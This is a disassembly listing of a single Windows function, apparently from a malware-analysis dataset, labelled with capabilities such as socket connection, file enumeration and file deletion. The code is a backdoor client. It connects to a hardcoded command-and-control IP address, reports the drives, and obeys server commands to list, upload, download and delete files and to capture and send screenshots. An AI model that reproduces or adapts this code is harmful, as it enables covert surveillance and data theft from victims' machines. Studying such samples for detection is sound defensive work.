Function at 0x1400010d0
Capabilities:
Connect socket
Delete file
Enumerate files on windows
Get disk information
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x730]
sub rsp, 0x830
mov rax, qword [0x140033080]
xor rax, rsp
mov qword [rbp + 0x720], rax
lea r8, [0x14002ec30]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rbx, rbx
je 0x140001151
cmp eax, 0xb7
jne 0x140001151
lea rcx, [0x14002ec40]
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call fcn.14000eda8
int3
mov ecx, 0x202
lea rdx, [rbp + 0x320]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r8 + 1]
mov ebx, 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
xor r15d, r15d
mov qword [rsp + 0x70], r15
mov word [rsp + 0x68], bx
mov ecx, 0x26a0
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x6a], ax
lea rcx, str.118.195.142.165
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x6c], eax
nop dword [rax + rax]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400011b0
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x50], eax
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1f0]
call fcn.140024430
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0xc0]
call fcn.140024430
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
js 0x1400013ba
lea r12, [0x14002ec00]
lea r13, [0x14002ec04]
lea rbx, [0x14002ec08]
lea rsi, [0x14002ec0c]
lea r14, str.look
xor r9d, r9d
mov r8d, dword [rsp + 0x50]
lea rdx, [rbp + 0x1f0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
xor eax, eax
mov qword [rsp + 0x78], rax
mov word [rbp - 0x80], ax
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0xc0]
call fcn.140024430
mov rcx, r15
movzx eax, byte [rbp + 0x1f0]
cmp al, 0x20
je 0x1400012ac
test al, al
je 0x1400012ac
mov byte [rsp + rcx + 0x78], al
inc rcx
movzx eax, byte [rbp + rcx + 0x1f0]
cmp al, 0x20
jne 0x140001295
lea rax, [rbp + 0x1f1]
add rax, rcx
movzx ecx, byte [rax]
test cl, cl
je 0x1400012e1
lea rdx, [rbp + 0xc0]
nop dword [rax]
nop dword [rax + rax]
mov byte [rdx], cl
lea rax, [rax + 1]
lea rdx, [rdx + 1]
movzx ecx, byte [rax]
test cl, cl
jne 0x1400012d0
mov rcx, r15
lea rdx, [rsp + 0x78]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r12 + rcx - 1]
jne 0x1400013d1
cmp rcx, 4
jne 0x1400012f0
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp - 0x70]
call fcn.140024430
lea r8, [rbp + 0xc0]
lea rdx, str._s.
lea rcx, [rbp - 0x70]
call fcn.140001070
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
mov r8d, 0x140
lea rdx, [rbp + 0x320]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
lea rdx, [rbp + 0x320]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001350
lea rdx, [0x14002ec58]
mov r8d, 4
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
lea rbx, [0x14002ec08]
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jns 0x140001250
lea rcx, str.Error_in_connecting_to_server._n
call fcn.140001010
mov ecx, 1
call fcn.14000eda8
int3
mov rcx, r15
lea rdx, [rsp + 0x78]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x1400014e1
cmp rcx, 4
jne 0x1400013e0
lea rdx, [0x14002ec5c]
lea rcx, [rbp + 0xc0]
call fcn.14000ee70
mov rbx, rax
mov dword [rsp + 0x54], 0xffffffff
test rax, rax
jne 0x140001425
lea rdx, [rsp + 0x54]
jmp 0x140001384
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rbx
call fcn.14000f4e8
mov rcx, rbx
call fcn.14000ea08
mov dword [rsp + 0x54], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.14000f4e8
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x54]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140024430
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140012860
test eax, eax
jle 0x1400014d4
nop dword [rax]
nop word [rax + rax]
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x320]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140012860
test eax, eax
jg 0x1400014a0
mov rcx, rbx
call fcn.14000f1e0
jmp 0x140001396
mov rcx, r15
lea rdx, [rsp + 0x78]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400015c9
cmp rcx, 4
jne 0x1400014f0
lea rdx, [0x14002ec64]
lea rcx, [rbp + 0xc0]
call fcn.14000ee70
mov r14, rax
mov dword [rsp + 0x58], r15d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140024430
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov esi, r15d
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x320]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jle 0x1400015ae
nop dword [rax]
mov r8d, ebx
mov r9, r14
mov edx, 1
lea rcx, [rbp + 0x320]
call fcn.14001255c
add esi, ebx
cmp esi, dword [rsp + 0x58]
jge 0x1400015ae
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x320]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jg 0x140001570
mov rcx, r14
call fcn.14000f1e0
lea rsi, [0x14002ec0c]
lea r14, str.look
jmp 0x140001396
mov rcx, r15
lea rdx, [rsp + 0x78]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rsi + rcx - 1]
jne 0x140001613
cmp rcx, 4
jne 0x1400015d1
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x60], 1
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
jmp 0x14000139d
mov rcx, r15
lea rdx, [rsp + 0x78]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r14 + rcx - 1]
jne 0x1400017cd
cmp rcx, 5
jne 0x140001620
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r14d, eax
mov r8d, eax
mov edx, esi
lea rcx, [rbp - 0x70]
call fcn.140001c20
nop
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140024430
nop dword [rax]
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.DISPLAY
call qword [sym.imp.GDI32.dll_CreateDCA]
mov rbx, rax
lea rcx, [rbp - 0x70]
call fcn.140001b20
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r14d
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_BitBlt]
lea rdx, [rbp - 0x70]
lea rcx, str.C:UsersPublic1.jpg
call fcn.140001c10
lea rdx, [0x14002ec5c]
lea rcx, str.C:UsersPublic1.jpg
call fcn.14000ee70
mov rbx, rax
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.14000f4e8
mov rcx, rbx
call fcn.14000ea08
mov dword [rsp + 0x64], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.14000f4e8
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x64]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140012860
test eax, eax
jle 0x140001784
nop
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x320]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rbp + 0x320]
call fcn.140012860
test eax, eax
jg 0x140001750
mov rcx, rbx
call fcn.14000f1e0
mov dword [rsp + 0x5c], r15d
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x5c]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp dword [rsp + 0x5c], 1
je 0x140001680
lea rcx, [rbp - 0x70]
call fcn.140001ff0
lea rsi, [0x14002ec0c]
lea r14, str.look
jmp 0x140001396
mov rcx, r15
lea rdx, [rsp + 0x78]
lea r8, str.exit
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14000139d
cmp rcx, 5
jne 0x1400017e0
mov rcx, rdi
call fcn.140001810
int3